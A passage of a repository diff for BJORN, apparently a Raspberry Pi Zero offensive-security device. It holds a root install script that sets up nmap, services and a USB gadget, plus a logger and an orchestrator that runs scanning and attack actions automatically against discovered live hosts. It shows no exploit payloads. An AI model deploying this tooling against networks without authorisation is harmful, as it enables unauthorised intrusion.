echo -e "${BLUE}Step $CURRENT_STEP of $TOTAL_STEPS: $1${NC}"
}
# Logging function
log() {
local level=$1
shift
local message="[$(date '+%Y-%m-%d %H:%M:%S')] [$level] $*"
echo -e "$message" >> "$LOG_FILE"
if [ "$VERBOSE" = true ] || [ "$level" != "DEBUG" ]; then
case $level in
"ERROR") echo -e "${RED}$message${NC}" ;;
"SUCCESS") echo -e "${GREEN}$message${NC}" ;;
"WARNING") echo -e "${YELLOW}$message${NC}" ;;
"INFO") echo -e "${BLUE}$message${NC}" ;;
*) echo -e "$message" ;;
esac
fi
}
# Error handling function
handle_error() {
local error_code=$?
local error_message=$1
log "ERROR" "An error occurred during: $error_message (Error code: $error_code)"
log "ERROR" "Check the log file for details: $LOG_FILE"
echo -e "\n${RED}Would you like to:"
echo "1. Retry this step"
echo "2. Skip this step (not recommended)"
echo "3. Exit installation${NC}"
read -r choice
case $choice in
1) return 1 ;; # Retry
2) return 0 ;; # Skip
3) clean_exit 1 ;; # Exit
*) handle_error "$error_message" ;; # Invalid choice
esac
}
# Function to check command success
check_success() {
if [ $? -eq 0 ]; then
log "SUCCESS" "$1"
return 0
else
handle_error "$1"
return $?
fi
}
# # Check system compatibility
# check_system_compatibility() {
# log "INFO" "Checking system compatibility..."
# # Check if running on Raspberry Pi
# if ! grep -q "Raspberry Pi" /proc/cpuinfo; then
# log "WARNING" "This system might not be a Raspberry Pi. Continue anyway? (y/n)"
# read -r response
# if [[ ! "$response" =~ ^[Yy]$ ]]; then
# clean_exit 1
# fi
# fi
# check_success "System compatibility check completed"
# }
# Check system compatibility
check_system_compatibility() {
log "INFO" "Checking system compatibility..."
local should_ask_confirmation=false
# Check if running on Raspberry Pi
if ! grep -q "Raspberry Pi" /proc/cpuinfo; then
log "WARNING" "This system might not be a Raspberry Pi"
should_ask_confirmation=true
fi
# Check RAM (Raspberry Pi Zero has 512MB RAM)
total_ram=$(free -m | awk '/^Mem:/{print $2}')
if [ "$total_ram" -lt 410 ]; then
log "WARNING" "Low RAM detected. Required: 512MB (410 With OS Running), Found: ${total_ram}MB"
echo -e "${YELLOW}Your system has less RAM than recommended. This might affect performance, but you can continue.${NC}"
should_ask_confirmation=true
else
log "SUCCESS" "RAM check passed: ${total_ram}MB available"
fi
# Check available disk space
available_space=$(df -m /home | awk 'NR==2 {print $4}')
if [ "$available_space" -lt 2048 ]; then
log "WARNING" "Low disk space. Recommended: 1GB, Found: ${available_space}MB"
echo -e "${YELLOW}Your system has less free space than recommended. This might affect installation.${NC}"
should_ask_confirmation=true
else
log "SUCCESS" "Disk space check passed: ${available_space}MB available"
fi
# Check OS version
if [ -f "/etc/os-release" ]; then
source /etc/os-release
# Verify if it's Raspbian
if [ "$NAME" != "Raspbian GNU/Linux" ]; then
log "WARNING" "Different OS detected. Recommended: Raspbian GNU/Linux, Found: ${NAME}"
echo -e "${YELLOW}Your system is not running Raspbian GNU/Linux.${NC}"
should_ask_confirmation=true
fi
# Compare versions (expecting Bookworm = 12)
expected_version="12"
if [ "$VERSION_ID" != "$expected_version" ]; then
log "WARNING" "Different OS version detected"
echo -e "${YELLOW}This script was tested with Raspbian GNU/Linux 12 (bookworm)${NC}"
echo -e "${YELLOW}Current system: ${PRETTY_NAME}${NC}"
if [ "$VERSION_ID" -lt "$expected_version" ]; then
echo -e "${YELLOW}Your system version ($VERSION_ID) is older than recommended ($expected_version)${NC}"
elif [ "$VERSION_ID" -gt "$expected_version" ]; then
echo -e "${YELLOW}Your system version ($VERSION_ID) is newer than tested ($expected_version)${NC}"
fi
should_ask_confirmation=true
else
log "SUCCESS" "OS version check passed: ${PRETTY_NAME}"
fi
else
log "WARNING" "Could not determine OS version (/etc/os-release not found)"
should_ask_confirmation=true
fi
# Check if system is 32-bit ARM (armhf)
architecture=$(dpkg --print-architecture)
if [ "$architecture" != "armhf" ]; then
log "WARNING" "Different architecture detected. Expected: armhf, Found: ${architecture}"
echo -e "${YELLOW}This script was tested with armhf architecture${NC}"
should_ask_confirmation=true
fi
# Additional Pi Zero specific checks if possible
if ! (grep -q "Pi Zero" /proc/cpuinfo || grep -q "BCM2835" /proc/cpuinfo); then
log "WARNING" "Could not confirm if this is a Raspberry Pi Zero"
echo -e "${YELLOW}This script was designed for Raspberry Pi Zero${NC}"
should_ask_confirmation=true
else
log "SUCCESS" "Raspberry Pi Zero detected"
fi
if [ "$should_ask_confirmation" = true ]; then
echo -e "\n${YELLOW}Some system compatibility warnings were detected (see above).${NC}"
echo -e "${YELLOW}The installation might not work as expected.${NC}"
echo -e "${YELLOW}Do you want to continue anyway? (y/n)${NC}"
read -r response
if [[ ! "$response" =~ ^[Yy]$ ]]; then
log "INFO" "Installation aborted by user after compatibility warnings"
clean_exit 1
fi
else
log "SUCCESS" "All compatibility checks passed"
fi
log "INFO" "System compatibility check completed"
return 0
}
# Install system dependencies
install_dependencies() {
log "INFO" "Installing system dependencies..."
# Update package list
apt-get update
# List of required packages based on README
packages=(
"python3-pip"
"wget"
"lsof"
"git"
"libopenjp2-7"
"nmap"
"libopenblas-dev"
"bluez-tools"
"bluez"
"dhcpcd5"
"bridge-utils"
"python3-pil"
"libjpeg-dev"
"zlib1g-dev"
"libpng-dev"
"python3-dev"
"libffi-dev"
"libssl-dev"
"libgpiod-dev"
"libi2c-dev"
"libatlas-base-dev"
"build-essential"
)
# Install packages
for package in "${packages[@]}"; do
log "INFO" "Installing $package..."
apt-get install -y "$package"
check_success "Installed $package"
done
# Update nmap scripts
nmap --script-updatedb
check_success "Dependencies installation completed"
}
# Configure system limits
configure_system_limits() {
log "INFO" "Configuring system limits..."
# Configure /etc/security/limits.conf
cat >> /etc/security/limits.conf << EOF
* soft nofile 65535
* hard nofile 65535
root soft nofile 65535
root hard nofile 65535
EOF
# Configure systemd limits
sed -i '/^#DefaultLimitNOFILE=/d' /etc/systemd/system.conf
echo "DefaultLimitNOFILE=65535" >> /etc/systemd/system.conf
sed -i '/^#DefaultLimitNOFILE=/d' /etc/systemd/user.conf
echo "DefaultLimitNOFILE=65535" >> /etc/systemd/user.conf
# Create /etc/security/limits.d/90-nofile.conf
cat > /etc/security/limits.d/90-nofile.conf << EOF
root soft nofile 65535
root hard nofile 65535
EOF
# Configure sysctl
echo "fs.file-max = 2097152" >> /etc/sysctl.conf
sysctl -p
check_success "System limits configuration completed"
}
# Configure SPI and I2C
configure_interfaces() {
log "INFO" "Configuring SPI and I2C interfaces..."
# Enable SPI and I2C using raspi-config
raspi-config nonint do_spi 0
raspi-config nonint do_i2c 0
check_success "Interface configuration completed"
}
# Setup BJORN
setup_bjorn() {
log "INFO" "Setting up BJORN..."
# Create BJORN user if it doesn't exist
if ! id -u $BJORN_USER >/dev/null 2>&1; then
adduser --disabled-password --gecos "" $BJORN_USER
check_success "Created BJORN user"
fi
# Check for existing BJORN directory
cd /home/$BJORN_USER
if [ -d "Bjorn" ]; then
log "INFO" "Using existing BJORN directory"
echo -e "${GREEN}Using existing BJORN directory${NC}"
else
# No existing directory, proceed with clone
log "INFO" "Cloning BJORN repository"
git clone https://github.com/infinition/Bjorn.git
check_success "Cloned BJORN repository"
fi
cd Bjorn
# Update the shared_config.json file with the selected EPD version
log "INFO" "Updating E-Paper display configuration..."
if [ -f "config/shared_config.json" ]; then
sed -i "s/\"epd_type\": \"[^\"]*\"/\"epd_type\": \"$EPD_VERSION\"/" config/shared_config.json
check_success "Updated E-Paper display configuration to $EPD_VERSION"
else
log "ERROR" "Configuration file not found: config/shared_config.json"
handle_error "E-Paper display configuration update"
fi
# Install requirements with --break-system-packages flag
log "INFO" "Installing Python requirements..."
pip3 install -r requirements.txt --break-system-packages
check_success "Installed Python requirements"
# Set correct permissions
chown -R $BJORN_USER:$BJORN_USER /home/$BJORN_USER/Bjorn
chmod -R 755 /home/$BJORN_USER/Bjorn
# Add bjorn user to necessary groups
usermod -a -G spi,gpio,i2c $BJORN_USER
check_success "Added bjorn user to required groups"
}
# Configure services
setup_services() {
log "INFO" "Setting up system services..."
# Create kill_port_8000.sh script
cat > $BJORN_PATH/kill_port_8000.sh << 'EOF'
#!/bin/bash
PORT=8000
PIDS=$(lsof -t -i:$PORT)
if [ -n "$PIDS" ]; then
echo "Killing PIDs using port $PORT: $PIDS"
kill -9 $PIDS
fi
EOF
chmod +x $BJORN_PATH/kill_port_8000.sh
# Create BJORN service
cat > /etc/systemd/system/bjorn.service << EOF
[Unit]
Description=Bjorn Service
DefaultDependencies=no
Before=basic.target
After=local-fs.target
[Service]
ExecStartPre=/home/bjorn/Bjorn/kill_port_8000.sh
ExecStart=/usr/bin/python3 /home/bjorn/Bjorn/Bjorn.py
WorkingDirectory=/home/bjorn/Bjorn
StandardOutput=inherit
StandardError=inherit
Restart=always
User=root
# Check open files and restart if it reached the limit (ulimit -n buffer of 1000)
ExecStartPost=/bin/bash -c 'FILE_LIMIT=\$(ulimit -n); THRESHOLD=\$(( FILE_LIMIT - 1000 )); while :; do TOTAL_OPEN_FILES=\$(lsof | wc -l); if [ "\$TOTAL_OPEN_FILES" -ge "\$THRESHOLD" ]; then echo "File descriptor threshold reached: \$TOTAL_OPEN_FILES (threshold: \$THRESHOLD). Restarting service."; systemctl restart bjorn.service; exit 0; fi; sleep 10; done &'
[Install]
WantedBy=multi-user.target
EOF
# Configure PAM
echo "session required pam_limits.so" >> /etc/pam.d/common-session
echo "session required pam_limits.so" >> /etc/pam.d/common-session-noninteractive
# Enable and start services
systemctl daemon-reload
systemctl enable bjorn.service
check_success "Services setup completed"
}
# Configure USB Gadget
configure_usb_gadget() {
log "INFO" "Configuring USB Gadget..."
# Modify cmdline.txt
sed -i 's/rootwait/rootwait modules-load=dwc2,g_ether/' /boot/firmware/cmdline.txt
# Modify config.txt
echo "dtoverlay=dwc2" >> /boot/firmware/config.txt
# Create USB gadget script
cat > /usr/local/bin/usb-gadget.sh << 'EOF'
#!/bin/bash
set -e
modprobe libcomposite
cd /sys/kernel/config/usb_gadget/
mkdir -p g1
cd g1
echo 0x1d6b > idVendor
echo 0x0104 > idProduct
echo 0x0100 > bcdDevice
echo 0x0200 > bcdUSB
mkdir -p strings/0x409
echo "fedcba9876543210" > strings/0x409/serialnumber
echo "Raspberry Pi" > strings/0x409/manufacturer
echo "Pi Zero USB" > strings/0x409/product
mkdir -p configs/c.1/strings/0x409
echo "Config 1: ECM network" > configs/c.1/strings/0x409/configuration
echo 250 > configs/c.1/MaxPower
mkdir -p functions/ecm.usb0
if [ -L configs/c.1/ecm.usb0 ]; then
rm configs/c.1/ecm.usb0
fi
ln -s functions/ecm.usb0 configs/c.1/
max_retries=10
retry_count=0
while ! ls /sys/class/udc > UDC 2>/dev/null; do
if [ $retry_count -ge $max_retries ]; then
echo "Error: Device or resource busy after $max_retries attempts."
exit 1
fi
retry_count=$((retry_count + 1))
sleep 1
done
if ! ip addr show usb0 | grep -q "172.20.2.1"; then
ifconfig usb0 172.20.2.1 netmask 255.255.255.0
else
echo "Interface usb0 already configured."
fi
EOF
chmod +x /usr/local/bin/usb-gadget.sh
# Create USB gadget service
cat > /etc/systemd/system/usb-gadget.service << EOF
[Unit]
Description=USB Gadget Service
After=network.target
[Service]
ExecStartPre=/sbin/modprobe libcomposite
ExecStart=/usr/local/bin/usb-gadget.sh
Type=simple
RemainAfterExit=yes
[Install]
WantedBy=multi-user.target
EOF
# Configure network interface
cat >> /etc/network/interfaces << EOF
allow-hotplug usb0
iface usb0 inet static
address 172.20.2.1
netmask 255.255.255.0
EOF
# Enable and start services
systemctl daemon-reload
systemctl enable systemd-networkd
systemctl enable usb-gadget
systemctl start systemd-networkd
systemctl start usb-gadget
check_success "USB Gadget configuration completed"
}
# Verify installation
verify_installation() {
log "INFO" "Verifying installation..."
# Check if services are running
if ! systemctl is-active --quiet bjorn.service; then
log "WARNING" "BJORN service is not running"
else
log "SUCCESS" "BJORN service is running"
fi
# Check web interface
sleep 5
if curl -s http://localhost:8000 > /dev/null; then
log "SUCCESS" "Web interface is accessible"
else
log "WARNING" "Web interface is not responding"
fi
}
# Clean exit function
clean_exit() {
local exit_code=$1
if [ $exit_code -eq 0 ]; then
log "SUCCESS" "BJORN installation completed successfully!"
log "INFO" "Log file available at: $LOG_FILE"
else
log "ERROR" "BJORN installation failed!"
log "ERROR" "Check the log file for details: $LOG_FILE"
fi
exit $exit_code
}
# Main installation process
main() {
log "INFO" "Starting BJORN installation..."
# Check if script is run as root
if [ "$(id -u)" -ne 0 ]; then
echo "This script must be run as root. Please use 'sudo'."
exit 1
fi
echo -e "${BLUE}BJORN Installation Options:${NC}"
echo "1. Full installation (recommended)"
echo "2. Custom installation"
read -p "Choose an option (1/2): " install_option
# E-Paper Display Selection
echo -e "\n${BLUE}Please select your E-Paper Display version:${NC}"
echo "1. epd2in13"
echo "2. epd2in13_V2"
echo "3. epd2in13_V3"
echo "4. epd2in13_V4"
echo "5. epd2in7"
while true; do
read -p "Enter your choice (1-4): " epd_choice
case $epd_choice in
1) EPD_VERSION="epd2in13"; break;;
2) EPD_VERSION="epd2in13_V2"; break;;
3) EPD_VERSION="epd2in13_V3"; break;;
4) EPD_VERSION="epd2in13_V4"; break;;
5) EPD_VERSION="epd2in7"; break;;
*) echo -e "${RED}Invalid choice. Please select 1-5.${NC}";;
esac
done
log "INFO" "Selected E-Paper Display version: $EPD_VERSION"
case $install_option in
1)
CURRENT_STEP=1; show_progress "Checking system compatibility"
check_system_compatibility
CURRENT_STEP=2; show_progress "Installing system dependencies"
install_dependencies
CURRENT_STEP=3; show_progress "Configuring system limits"
configure_system_limits
CURRENT_STEP=4; show_progress "Configuring interfaces"
configure_interfaces
CURRENT_STEP=5; show_progress "Setting up BJORN"
setup_bjorn
CURRENT_STEP=6; show_progress "Configuring USB Gadget"
configure_usb_gadget
CURRENT_STEP=7; show_progress "Setting up services"
setup_services
CURRENT_STEP=8; show_progress "Verifying installation"
verify_installation
;;
2)
echo "Custom installation - select components to install:"
read -p "Install dependencies? (y/n): " deps
read -p "Configure system limits? (y/n): " limits
read -p "Configure interfaces? (y/n): " interfaces
read -p "Setup BJORN? (y/n): " bjorn
read -p "Configure USB Gadget? (y/n): " usb_gadget
read -p "Setup services? (y/n): " services
[ "$deps" = "y" ] && install_dependencies
[ "$limits" = "y" ] && configure_system_limits
[ "$interfaces" = "y" ] && configure_interfaces
[ "$bjorn" = "y" ] && setup_bjorn
[ "$usb_gadget" = "y" ] && configure_usb_gadget
[ "$services" = "y" ] && setup_services
verify_installation
;;
*)
log "ERROR" "Invalid option selected"
clean_exit 1
;;
esac
#removed git files
find "$BJORN_PATH" -name ".git*" -exec rm -rf {} +
log "SUCCESS" "BJORN installation completed!"
log "INFO" "Please reboot your system to apply all changes."
echo -e "\n${GREEN}Installation completed successfully!${NC}"
echo -e "${YELLOW}Important notes:${NC}"
echo "1. If configuring Windows PC for USB gadget connection:"
echo " - Set static IP: 172.20.2.2"
echo " - Subnet Mask: 255.255.255.0"
echo " - Default Gateway: 172.20.2.1"
echo " - DNS Servers: 8.8.8.8, 8.8.4.4"
echo "2. Web interface will be available at: http://[device-ip]:8000"
echo "3. Make sure your e-Paper HAT (2.13-inch) is properly connected"
read -p "Would you like to reboot now? (y/n): " reboot_now
if [ "$reboot_now" = "y" ]; then
if reboot; then
log "INFO" "System reboot initiated."
else
log "ERROR" "Failed to initiate reboot."
exit 1
fi
else
echo -e "${YELLOW}Reboot your system to apply all changes & run Bjorn service.${NC}"
fi
}
main
+11
View File
@@ -0,0 +1,11 @@
#!/bin/bash
# Script to kill processes using port 8000
PORT=8000
PIDS=$(lsof -t -i:$PORT)
if [ -n "$PIDS" ]; then
echo "Killing the following PIDs using port $PORT: $PIDS"
kill -9 $PIDS
else
echo "No processes found using port $PORT"
fi
+136
View File
@@ -0,0 +1,136 @@
#logger.py
# Description:
# This file, logger.py, is responsible for setting up a robust logging system for the Bjorn project. It defines custom logging levels and formats,
# integrates with the Rich library for enhanced console output, and ensures logs are written to rotating files for persistence.
#
# Key functionalities include:
# - Defining a custom log level "SUCCESS" to log successful operations distinctively.
# - Creating a vertical filter to exclude specific log messages based on their content.
# - Setting up a logger class (`Logger`) that initializes logging handlers for both console and file output.
# - Utilizing Rich for console logging with custom themes for different log levels, providing a more readable and visually appealing log output.
# - Ensuring log files are written to a specified directory, with file rotation to manage log file sizes and backups.
# - Providing methods to log messages at various levels (debug, info, warning, error, critical, success).
# - Allowing dynamic adjustment of log levels and the ability to disable logging entirely.
import logging
from logging.handlers import RotatingFileHandler
import os
from rich.console import Console
from rich.logging import RichHandler
from rich.theme import Theme
# Define custom log level "SUCCESS"
SUCCESS_LEVEL_NUM = 25
logging.addLevelName(SUCCESS_LEVEL_NUM, "SUCCESS")
def success(self, message, *args, **kwargs):
if self.isEnabledFor(SUCCESS_LEVEL_NUM):
self._log(SUCCESS_LEVEL_NUM, message, args, **kwargs)
logging.Logger.success = success
class VerticalFilter(logging.Filter):
def filter(self, record):
return 'Vertical' not in record.getMessage()
class Logger:
LOGS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'data', 'logs')
def __init__(self, name, level=logging.DEBUG, enable_file_logging=True):
self.logger = logging.getLogger(name)
self.logger.setLevel(level)
self.enable_file_logging = enable_file_logging
# Define custom log level styles
custom_theme = Theme({
"debug": "yellow",
"info": "blue",
"warning": "yellow",
"error": "bold red",
"critical": "bold magenta",
"success": "bold green"
})
console = Console(theme=custom_theme)
# Create console handler with rich and set level
console_handler = RichHandler(console=console, show_time=False, show_level=False, show_path=False, log_time_format="%Y-%m-%d %H:%M:%S")
console_handler.setLevel(level)
console_formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
console_handler.setFormatter(console_formatter)
# Add filter to console handler
vertical_filter = VerticalFilter()
console_handler.addFilter(vertical_filter)
# Add console handler to the logger
self.logger.addHandler(console_handler)
if self.enable_file_logging:
# Ensure the log folder exists
os.makedirs(self.LOGS_DIR, exist_ok=True)
log_file_path = os.path.join(self.LOGS_DIR, f"{name}.log")
# Create file handler and set level
file_handler = RotatingFileHandler(log_file_path, maxBytes=5*1024*1024, backupCount=2)
file_handler.setLevel(level)
file_formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
file_handler.setFormatter(file_formatter)
# Add filter to file handler
file_handler.addFilter(vertical_filter)
# Add file handler to the logger
self.logger.addHandler(file_handler)
def set_level(self, level):
self.logger.setLevel(level)
for handler in self.logger.handlers:
handler.setLevel(level)
def debug(self, message):
self.logger.debug(message)
def info(self, message):
self.logger.info(message)
def warning(self, message):
self.logger.warning(message)
def error(self, message):
self.logger.error(message)
def critical(self, message):
self.logger.critical(message)
def success(self, message):
self.logger.success('\n' + message) # Add newline for better readability
def disable_logging(self):
logging.disable(logging.CRITICAL)
# Example usage
if __name__ == "__main__":
# Change enable_file_logging to False to disable file logging
log = Logger(name="MyLogger", level=logging.DEBUG, enable_file_logging=False)
log.debug("This is a debug message")
log.info("This is an info message")
log.warning("This is a warning message")
log.error("This is an error message")
log.critical("This is a critical message")
log.success("This is a success message")
# Change log level
log.set_level(logging.WARNING)
log.debug("This debug message should not appear")
log.info("This info message should not appear")
log.warning("This warning message should appear")
# Disable logging
log.disable_logging()
log.error("This error message should not appear")
-35
View File
@@ -1,35 +0,0 @@
{
"name": "BJORN WIKI",
"short_name": "BjornWiki",
"description": "Official Documentation and Wiki for BJORN Cyber Viking",
"start_url": "./index.html",
"display": "standalone",
"background_color": "#0B0C0E",
"theme_color": "#22c55e",
"orientation": "any",
"icons": [
{
"src": "assets/bjorn.png",
"sizes": "192x192",
"type": "image/png",
"purpose": "any maskable"
},
{
"src": "assets/bjorn.png",
"sizes": "512x512",
"type": "image/png"
}
],
"shortcuts": [
{
"name": "Search Wiki",
"url": "./index.html?search=true",
"icons": [
{
"src": "assets/bjorn.png",
"sizes": "192x192"
}
]
}
]
}
+383
View File
@@ -0,0 +1,383 @@
# orchestrator.py
# Description:
# This file, orchestrator.py, is the heuristic Bjorn brain, and it is responsible for coordinating and executing various network scanning and offensive security actions
# It manages the loading and execution of actions, handles retries for failed and successful actions,
# and updates the status of the orchestrator.
#
# Key functionalities include:
# - Initializing and loading actions from a configuration file, including network and vulnerability scanners.
# - Managing the execution of actions on network targets, checking for open ports and handling retries based on success or failure.
# - Coordinating the execution of parent and child actions, ensuring actions are executed in a logical order.
# - Running the orchestrator cycle to continuously check for and execute actions on available network targets.
# - Handling and updating the status of the orchestrator, including scanning for new targets and performing vulnerability scans.
# - Implementing threading to manage concurrent execution of actions with a semaphore to limit active threads.
# - Logging events and errors to ensure maintainability and ease of debugging.
# - Handling graceful degradation by managing retries and idle states when no new targets are found.
import json
import importlib
import time
import logging
import sys
import threading
from datetime import datetime, timedelta
from actions.nmap_vuln_scanner import NmapVulnScanner
from init_shared import shared_data
from logger import Logger
logger = Logger(name="orchestrator.py", level=logging.DEBUG)
class Orchestrator:
def __init__(self):
"""Initialise the orchestrator"""
self.shared_data = shared_data
self.actions = [] # List of actions to be executed
self.standalone_actions = [] # List of standalone actions to be executed
self.failed_scans_count = 0 # Count the number of failed scans
self.network_scanner = None
self.last_vuln_scan_time = datetime.min # Set the last vulnerability scan time to the minimum datetime value
self.load_actions() # Load all actions from the actions file
actions_loaded = [action.__class__.__name__ for action in self.actions + self.standalone_actions] # Get the names of the loaded actions
logger.info(f"Actions loaded: {actions_loaded}")
self.semaphore = threading.Semaphore(10) # Limit the number of active threads to 10
def load_actions(self):
"""Load all actions from the actions file"""
self.actions_dir = self.shared_data.actions_dir
with open(self.shared_data.actions_file, 'r') as file:
actions_config = json.load(file)
for action in actions_config:
module_name = action["b_module"]
if module_name == 'scanning':
self.load_scanner(module_name)
elif module_name == 'nmap_vuln_scanner':
self.load_nmap_vuln_scanner(module_name)
else:
self.load_action(module_name, action)
def load_scanner(self, module_name):
"""Load the network scanner"""
module = importlib.import_module(f'actions.{module_name}')
b_class = getattr(module, 'b_class')
self.network_scanner = getattr(module, b_class)(self.shared_data)
def load_nmap_vuln_scanner(self, module_name):
"""Load the nmap vulnerability scanner"""
self.nmap_vuln_scanner = NmapVulnScanner(self.shared_data)
def load_action(self, module_name, action):
"""Load an action from the actions file"""
module = importlib.import_module(f'actions.{module_name}')
try:
b_class = action["b_class"]
action_instance = getattr(module, b_class)(self.shared_data)
action_instance.action_name = b_class
action_instance.port = action.get("b_port")
action_instance.b_parent_action = action.get("b_parent")
if action_instance.port == 0:
self.standalone_actions.append(action_instance)
else:
self.actions.append(action_instance)
except AttributeError as e:
logger.error(f"Module {module_name} is missing required attributes: {e}")
def process_alive_ips(self, current_data):
"""Process all IPs with alive status set to 1"""
any_action_executed = False
action_executed_status = None
for action in self.actions:
for row in current_data:
if row["Alive"] != '1':
continue
ip, ports = row["IPs"], row["Ports"].split(';')
action_key = action.action_name
if action.b_parent_action is None:
with self.semaphore:
if self.execute_action(action, ip, ports, row, action_key, current_data):
action_executed_status = action_key
any_action_executed = True
self.shared_data.bjornorch_status = action_executed_status
for child_action in self.actions:
if child_action.b_parent_action == action_key:
with self.semaphore:
if self.execute_action(child_action, ip, ports, row, child_action.action_name, current_data):
action_executed_status = child_action.action_name
self.shared_data.bjornorch_status = action_executed_status
break
break
for child_action in self.actions:
if child_action.b_parent_action:
action_key = child_action.action_name
for row in current_data:
ip, ports = row["IPs"], row["Ports"].split(';')
with self.semaphore:
if self.execute_action(child_action, ip, ports, row, action_key, current_data):
action_executed_status = child_action.action_name
any_action_executed = True
self.shared_data.bjornorch_status = action_executed_status
break
return any_action_executed
def execute_action(self, action, ip, ports, row, action_key, current_data):
"""Execute an action on a target"""
if hasattr(action, 'port') and str(action.port) not in ports:
return False
# Check parent action status
if action.b_parent_action:
parent_status = row.get(action.b_parent_action, "")
if 'success' not in parent_status:
return False # Skip child action if parent action has not succeeded
# Check if the action is already successful and if retries are disabled for successful actions
if 'success' in row[action_key]:
if not self.shared_data.retry_success_actions:
return False
else:
try:
last_success_time = datetime.strptime(row[action_key].split('_')[1] + "_" + row[action_key].split('_')[2], "%Y%m%d_%H%M%S")
if datetime.now() < last_success_time + timedelta(seconds=self.shared_data.success_retry_delay):
retry_in_seconds = (last_success_time + timedelta(seconds=self.shared_data.success_retry_delay) - datetime.now()).seconds
formatted_retry_in = str(timedelta(seconds=retry_in_seconds))
logger.warning(f"Skipping action {action.action_name} for {ip}:{action.port} due to success retry delay, retry possible in: {formatted_retry_in}")
return False # Skip if the success retry delay has not passed
except ValueError as ve:
logger.error(f"Error parsing last success time for {action.action_name}: {ve}")
last_failed_time_str = row.get(action_key, "")
if 'failed' in last_failed_time_str:
try:
last_failed_time = datetime.strptime(last_failed_time_str.split('_')[1] + "_" + last_failed_time_str.split('_')[2], "%Y%m%d_%H%M%S")
if datetime.now() < last_failed_time + timedelta(seconds=self.shared_data.failed_retry_delay):
retry_in_seconds = (last_failed_time + timedelta(seconds=self.shared_data.failed_retry_delay) - datetime.now()).seconds
formatted_retry_in = str(timedelta(seconds=retry_in_seconds))
logger.warning(f"Skipping action {action.action_name} for {ip}:{action.port} due to failed retry delay, retry possible in: {formatted_retry_in}")
return False # Skip if the retry delay has not passed
except ValueError as ve:
logger.error(f"Error parsing last failed time for {action.action_name}: {ve}")
try:
logger.info(f"Executing action {action.action_name} for {ip}:{action.port}")
self.shared_data.bjornstatustext2 = ip
result = action.execute(ip, str(action.port), row, action_key)
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
if result == 'success':
row[action_key] = f'success_{timestamp}'
else:
row[action_key] = f'failed_{timestamp}'
self.shared_data.write_data(current_data)
return result == 'success'
except Exception as e:
logger.error(f"Action {action.action_name} failed: {e}")
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
row[action_key] = f'failed_{timestamp}'
self.shared_data.write_data(current_data)
return False
def execute_standalone_action(self, action, current_data):
"""Execute a standalone action"""
row = next((r for r in current_data if r["MAC Address"] == "STANDALONE"), None)
if not row:
row = {
"MAC Address": "STANDALONE",
"IPs": "STANDALONE",
"Hostnames": "STANDALONE",
"Ports": "0",
"Alive": "0"
}
current_data.append(row)
action_key = action.action_name
if action_key not in row:
row[action_key] = ""
# Check if the action is already successful and if retries are disabled for successful actions
if 'success' in row[action_key]:
if not self.shared_data.retry_success_actions:
return False
else:
try:
last_success_time = datetime.strptime(row[action_key].split('_')[1] + "_" + row[action_key].split('_')[2], "%Y%m%d_%H%M%S")
if datetime.now() < last_success_time + timedelta(seconds=self.shared_data.success_retry_delay):
retry_in_seconds = (last_success_time + timedelta(seconds=self.shared_data.success_retry_delay) - datetime.now()).seconds
formatted_retry_in = str(timedelta(seconds=retry_in_seconds))
logger.warning(f"Skipping standalone action {action.action_name} due to success retry delay, retry possible in: {formatted_retry_in}")
return False # Skip if the success retry delay has not passed
except ValueError as ve:
logger.error(f"Error parsing last success time for {action.action_name}: {ve}")
last_failed_time_str = row.get(action_key, "")
if 'failed' in last_failed_time_str:
try:
last_failed_time = datetime.strptime(last_failed_time_str.split('_')[1] + "_" + last_failed_time_str.split('_')[2], "%Y%m%d_%H%M%S")
if datetime.now() < last_failed_time + timedelta(seconds=self.shared_data.failed_retry_delay):
retry_in_seconds = (last_failed_time + timedelta(seconds=self.shared_data.failed_retry_delay) - datetime.now()).seconds
formatted_retry_in = str(timedelta(seconds=retry_in_seconds))
logger.warning(f"Skipping standalone action {action.action_name} due to failed retry delay, retry possible in: {formatted_retry_in}")
return False # Skip if the retry delay has not passed
except ValueError as ve:
logger.error(f"Error parsing last failed time for {action.action_name}: {ve}")
try:
logger.info(f"Executing standalone action {action.action_name}")
result = action.execute()
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
if result == 'success':
row[action_key] = f'success_{timestamp}'
logger.info(f"Standalone action {action.action_name} executed successfully")
else:
row[action_key] = f'failed_{timestamp}'
logger.error(f"Standalone action {action.action_name} failed")
self.shared_data.write_data(current_data)
return result == 'success'
except Exception as e:
logger.error(f"Standalone action {action.action_name} failed: {e}")
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
row[action_key] = f'failed_{timestamp}'
self.shared_data.write_data(current_data)
return False
def run(self):
"""Run the orchestrator cycle to execute actions"""
#Run the scanner a first time to get the initial data
self.shared_data.bjornorch_status = "NetworkScanner"
self.shared_data.bjornstatustext2 = "First scan..."
self.network_scanner.scan()
self.shared_data.bjornstatustext2 = ""
while not self.shared_data.orchestrator_should_exit:
current_data = self.shared_data.read_data()
any_action_executed = False
action_executed_status = None
action_retry_pending = False
any_action_executed = self.process_alive_ips(current_data)
for action in self.actions:
for row in current_data:
if row["Alive"] != '1':
continue
ip, ports = row["IPs"], row["Ports"].split(';')
action_key = action.action_name
if action.b_parent_action is None:
with self.semaphore:
if self.execute_action(action, ip, ports, row, action_key, current_data):
action_executed_status = action_key
any_action_executed = True
self.shared_data.bjornorch_status = action_executed_status
for child_action in self.actions:
if child_action.b_parent_action == action_key:
with self.semaphore:
if self.execute_action(child_action, ip, ports, row, child_action.action_name, current_data):
action_executed_status = child_action.action_name
self.shared_data.bjornorch_status = action_executed_status
break
break
for child_action in self.actions:
if child_action.b_parent_action:
action_key = child_action.action_name
for row in current_data:
ip, ports = row["IPs"], row["Ports"].split(';')
with self.semaphore:
if self.execute_action(child_action, ip, ports, row, action_key, current_data):
action_executed_status = child_action.action_name
any_action_executed = True
self.shared_data.bjornorch_status = action_executed_status
break
self.shared_data.write_data(current_data)
if not any_action_executed:
self.shared_data.bjornorch_status = "IDLE"
self.shared_data.bjornstatustext2 = ""
logger.info("No available targets. Running network scan...")
if self.network_scanner:
self.shared_data.bjornorch_status = "NetworkScanner"
